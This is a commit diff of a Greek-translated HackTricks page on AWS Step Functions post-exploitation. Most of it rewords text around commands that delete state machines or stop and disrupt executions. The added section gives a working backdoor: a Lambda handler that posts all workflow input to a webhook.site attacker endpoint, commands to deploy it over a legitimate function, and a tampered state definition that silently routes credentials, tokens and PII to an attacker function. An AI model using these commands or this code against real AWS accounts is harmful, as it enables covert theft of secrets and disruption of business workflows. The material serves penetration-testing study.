mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -23,7 +23,7 @@
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Διαγράφοντας μια μηχανή κατάστασης διαγράφετε επίσης όλες τις σχετικές εκδόσεις και ψευδώνυμα της.
|
||||
> - Διαγράφοντας ένα ψευδώνυμο μηχανής κατάστασης δεν διαγράφετε τις εκδόσεις μηχανής κατάστασης που αναφέρονται σε αυτό το ψευδώνυμο.
|
||||
> - Διαγράφοντας ένα ψευδώνυμο μηχανής κατάστασης δεν διαγράφετε τις εκδόσεις της μηχανής κατάστασης που αναφέρονται σε αυτό το ψευδώνυμο.
|
||||
> - Δεν είναι δυνατή η διαγραφή μιας έκδοσης μηχανής κατάστασης που αναφέρεται αυτή τη στιγμή από ένα ή περισσότερα ψευδώνυμα.
|
||||
```bash
|
||||
# Delete state machine
|
||||
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χειριστεί τη ρύθμιση αποτυχίας του Map Run και την παράλληλη ρύθμιση, έχοντας τη δυνατότητα να αυξήσει ή να μειώσει τον μέγιστο αριθμό εκτελέσεων υποροών εργασίας που επιτρέπονται, επηρεάζοντας άμεσα την απόδοση της υπηρεσίας. Επιπλέον, ένας επιτιθέμενος θα μπορούσε να παραποιήσει το ποσοστό και τον αριθμό των ανεκτών αποτυχιών, έχοντας τη δυνατότητα να μειώσει αυτή την τιμή στο 0, έτσι ώστε κάθε φορά που ένα στοιχείο αποτυγχάνει, ολόκληρη η εκτέλεση του χάρτη θα αποτυγχάνει, επηρεάζοντας άμεσα την εκτέλεση της μηχανής κατάστασης και δυνητικά διακόπτοντας κρίσιμες ροές εργασίας.
|
||||
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χειριστεί τη διαμόρφωση αποτυχίας του Map Run και τη ρύθμιση παράλληλης εκτέλεσης, έχοντας τη δυνατότητα να αυξήσει ή να μειώσει τον μέγιστο αριθμό εκτελέσεων υποροών εργασίας που επιτρέπονται, επηρεάζοντας άμεσα την απόδοση της υπηρεσίας. Επιπλέον, ένας επιτιθέμενος θα μπορούσε να παραποιήσει το ποσοστό και τον αριθμό των ανεκτών αποτυχιών, έχοντας τη δυνατότητα να μειώσει αυτή την τιμή στο 0, έτσι ώστε κάθε φορά που ένα στοιχείο αποτυγχάνει, ολόκληρη η εκτέλεση του χάρτη θα αποτυγχάνει, επηρεάζοντας άμεσα την εκτέλεση της μηχανής κατάστασης και δυνητικά διακόπτοντας κρίσιμες ροές εργασίας.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να σταματήσει την εκτέλεση οποιασδήποτε μηχανής κατάστασης, διακόπτοντας τις τρέχουσες ροές εργασίας και διαδικασίες. Αυτό θα μπορούσε να οδηγήσει σε ατελείς συναλλαγές, σταμάτημα επιχειρηματικών λειτουργιών και πιθανή διαφθορά δεδομένων.
|
||||
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να είναι σε θέση να σταματήσει την εκτέλεση οποιασδήποτε μηχανής κατάστασης, διακόπτοντας τις τρέχουσες ροές εργασίας και διαδικασίες. Αυτό θα μπορούσε να οδηγήσει σε ατελείς συναλλαγές, σταμάτημα επιχειρηματικών λειτουργιών και πιθανή διαφθορά δεδομένων.
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η ενέργεια δεν υποστηρίζεται από **express state machines**.
|
||||
@@ -61,6 +61,125 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση τις ετικέτες.
|
||||
**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση ετικέτες.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Ένας επιτιθέμενος που παραβιάζει έναν χρήστη ή ρόλο με τις παρακάτω άδειες:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...μπορεί να διεξάγει μια **υψηλής επίδρασης και κρυφή επίθεση μετά την εκμετάλλευση** συνδυάζοντας την πίσω πόρτα Lambda με την παραποίηση λογικής Step Function.
|
||||
|
||||
Αυτό το σενάριο υποθέτει ότι το θύμα χρησιμοποιεί **AWS Step Functions για να οργανώσει ροές εργασίας που επεξεργάζονται ευαίσθητα δεδομένα εισόδου**, όπως διαπιστευτήρια, tokens ή PII.
|
||||
|
||||
Παράδειγμα κλήσης θύματος:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Αν η Step Function είναι ρυθμισμένη να καλεί μια Lambda όπως το `LegitBusinessLogic`, ο επιτιθέμενος μπορεί να προχωρήσει με **δύο κρυφές παραλλαγές επίθεσης**:
|
||||
|
||||
---
|
||||
|
||||
#### Ενημέρωση της συνάρτησης lambda
|
||||
|
||||
Ο επιτιθέμενος τροποποιεί τον κώδικα της συνάρτησης Lambda που χρησιμοποιείται ήδη από την Step Function (`LegitBusinessLogic`) για να εξάγει σιωπηλά τα δεδομένα εισόδου.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Προσθήκη Κακόβουλης Κατάστασης στη Λειτουργία Βημάτων
|
||||
|
||||
Εναλλακτικά, ο επιτιθέμενος μπορεί να εισάγει μια **κατάσταση εξαγωγής** στην αρχή της ροής εργασίας ενημερώνοντας τον ορισμό της Λειτουργίας Βημάτων.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Ο επιτιθέμενος μπορεί ακόμη πιο διακριτικά να ενημερώσει τον ορισμό της κατάστασης σε κάτι τέτοιο
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
όπου το θύμα δεν θα συνειδητοποιήσει τη διαφορά
|
||||
|
||||
---
|
||||
|
||||
### Ρύθμιση Θύματος (Πλαίσιο για την Εκμετάλλευση)
|
||||
|
||||
- Μια Step Function (`LegitStateMachine`) χρησιμοποιείται για την επεξεργασία ευαίσθητης εισόδου χρήστη.
|
||||
- Καλεί μία ή περισσότερες Lambda functions όπως `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Πιθανές Επιπτώσεις**:
|
||||
- Σιωπηλή εξαγωγή ευαίσθητων δεδομένων, συμπεριλαμβανομένων μυστικών, διαπιστευτηρίων, κλειδιών API και PII.
|
||||
- Καμία ορατή σφάλματα ή αποτυχίες στην εκτέλεση της ροής εργασίας.
|
||||
- Δύσκολη ανίχνευση χωρίς έλεγχο του κώδικα Lambda ή των ιχνών εκτέλεσης.
|
||||
- Δυνατότητα μακροχρόνιας επιμονής αν η πίσω πόρτα παραμείνει στον κώδικα ή στη λογική ASL.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user